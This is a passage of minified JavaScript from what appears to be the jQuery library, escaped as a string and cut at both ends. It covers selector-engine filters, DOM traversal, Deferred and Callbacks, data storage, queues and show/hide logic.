\").indexOf(i):\"|=\"===r&&(t===i||t.slice(0,i.length+1)===i+\"-\"))}},CHILD:function(h,e,t,g,v){var y=\"nth\"!==h.slice(0,3),m=\"last\"!==h.slice(-4),x=\"of-type\"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?\"nextSibling\":\"previousSibling\",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l=\"only\"===h&&!u&&\"nextSibling\"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error(\"unsupported pseudo: \"+e);return a[S]?a(o):1<a.length?(t=[e,e,\"\",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,\"$1\"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||\"\")||se.error(\"unsupported lang: \"+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute(\"xml:lang\")||e.getAttribute(\"lang\"))return(t=t.toLowerCase())===n||0===t.indexOf(n+\"-\")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&!!e.checked||\"option\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&\"button\"===e.type||\"button\"===t},text:function(e){var t;return\"input\"===e.nodeName.toLowerCase()&&\"text\"===e.type&&(null==(t=e.getAttribute(\"type\"))||\"text\"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r=\"\";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&\"parentNode\"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||\"*\",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[\" \"],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:\" \"===e[s-2].type?\"*\":\"\"})).replace($,\"$1\"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+\" \"];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($,\" \")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+\" \"];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l=\"0\",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG(\"*\",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l=\"function\"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&\"ID\"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split(\"\").sort(D).join(\"\")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement(\"fieldset\"))}),ce(function(e){return e.innerHTML=\"<a href='#'></a>\",\"#\"===e.firstChild.getAttribute(\"href\")})||fe(\"type|href|height|width\",function(e,t,n){if(!n)return e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML=\"<input/>\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||fe(\"value\",function(e,t,n){if(!n&&\"input\"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute(\"disabled\")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[\":\"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i;function D(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):\"string\"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=\":not(\"+e+\")\"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if(\"string\"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,\"string\"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var j,q=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||j,\"string\"==typeof e){if(!(r=\"<\"===e[0]&&\">\"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,j=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a=\"string\"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?\"string\"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,\"parentNode\")},parentsUntil:function(e,t,n){return h(e,\"parentNode\",n)},next:function(e){return O(e,\"nextSibling\")},prev:function(e){return O(e,\"previousSibling\")},nextAll:function(e){return h(e,\"nextSibling\")},prevAll:function(e){return h(e,\"previousSibling\")},nextUntil:function(e,t,n){return h(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return h(e,\"previousSibling\",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,\"template\")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return\"Until\"!==r.slice(-5)&&(t=e),t&&\"string\"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\\x20\\t\\r\\n\\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r=\"string\"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:\"\")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&\"string\"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t=\"\",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=\"\"),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[[\"notify\",\"progress\",S.Callbacks(\"memory\"),S.Callbacks(\"memory\"),2],[\"resolve\",\"done\",S.Callbacks(\"once memory\"),S.Callbacks(\"once memory\"),0,\"resolved\"],[\"reject\",\"fail\",S.Callbacks(\"once memory\"),S.Callbacks(\"once memory\"),1,\"rejected\"]],i=\"pending\",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},\"catch\":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+\"With\"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError(\"Thenable self-resolution\");t=e&&(\"object\"==typeof e||\"function\"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+\"With\"](this===s?void 0:this,arguments),this},s[t[0]+\"With\"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),\"pending\"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn(\"jQuery.Deferred exception: \"+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener(\"DOMContentLoaded\",B),C.removeEventListener(\"load\",B),S.ready()}S.fn.ready=function(e){return F.then(e)[\"catch\"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,\"complete\"===E.readyState||\"loading\"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener(\"DOMContentLoaded\",B),C.addEventListener(\"load\",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if(\"object\"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,\"ms-\").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if(\"string\"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&\"string\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r=\"data-\"+t.replace(K,\"-$&\").toLowerCase(),\"string\"==typeof(n=e.getAttribute(r))){try{n=\"true\"===(i=n)||\"false\"!==i&&(\"null\"===i?null:i===+i+\"\"?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,\"hasDataAttrs\"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf(\"data-\")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,\"hasDataAttrs\",!0)}return i}return\"object\"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||\"fx\")+\"queue\",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||\"fx\";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);\"inprogress\"===i&&(i=n.shift(),r--),i&&(\"fx\"===t&&n.unshift(\"inprogress\"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks(\"once memory\").add(function(){Y.remove(e,[t+\"queue\",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return\"string\"!=typeof t&&(n=t,t=\"fx\",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),\"fx\"===t&&\"inprogress\"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};\"string\"!=typeof e&&(t=e,e=void 0),e=e||\"fx\";while(a--)(n=Y.get(o[a],e+\"queueHooks\"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,te=new RegExp(\"^(?:([+-])=|)(\"+ee+\")([a-z%]*)$\",\"i\"),ne=[\"Top\",\"Right\",\"Bottom\",\"Left\"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return\"none\"===(e=t||e).style.display||\"\"===e.style.display&&ie(e)&&\"none\"===S.css(e,\"display\")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,\"\")},u=s(),l=n&&n[3]||(S.cssNumber[t]?\"\":\"px\"),c=e.nodeType&&(S.cssNumber[t]||\"px\"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?(\"none\"===n&&(l[c]=Y.get(r,\"display\")||null,l[c]||(r.style.display=\"\")),\"\"===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,\"display\"),o.parentNode.removeChild(o),\"none\"===u&&(u=\"block\"),ue[s]=u)))):\"none\"!==n&&(l[c]=\"none\",Y.set(r,\"display\",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)/i,he=/^$|^module$|\\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement(\"div\")),(fe=E.createElement(\"input\")).setAttribute(\"type\",\"radio\"),fe.setAttribute(\"checked\",\"checked\"),fe.setAttribute(\"name\",\"t\"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML=\"<textarea>x</textarea>\",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML=\"<option></option>\",y.option=!!ce.lastChild;var ge={thead:[1,\"<table>\",\"</table>\"],col:[2,\"<table><colgroup>\",\"</colgroup></table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:[0,\"\",\"\"]};function ve(e,t){var n;return n=\"undefined\"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):\"undefined\"!=typeof e.querySelectorAll?e.querySelectorAll(t||\"*\"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],\"globalEval\",!t||Y.get(t[n],\"globalEval\"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,\"<select multiple='multiple'>\",\"</select>\"]);var me=/<|&#?\\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if(\"object\"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement(\"div\")),s=(de.exec(o)||[\"\",\"\"])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=\"\"}else p.push(t.createTextNode(o));f.textContent=\"\",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),\"script\"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||\"\")&&n.push(o)}return f}var be=/^key/,we=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\\.(.+)|)/;function Ce(){return!0}function Ee(){return!1}function Se(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==(\"focus\"===t)}function ke(e,t,n,r,i,o){var a,s;if(\"object\"==typeof t){for(s in\"string\"!=typeof n&&(r=r||n,n=void 0),t)ke(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&(\"string\"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ee;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Ae(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else 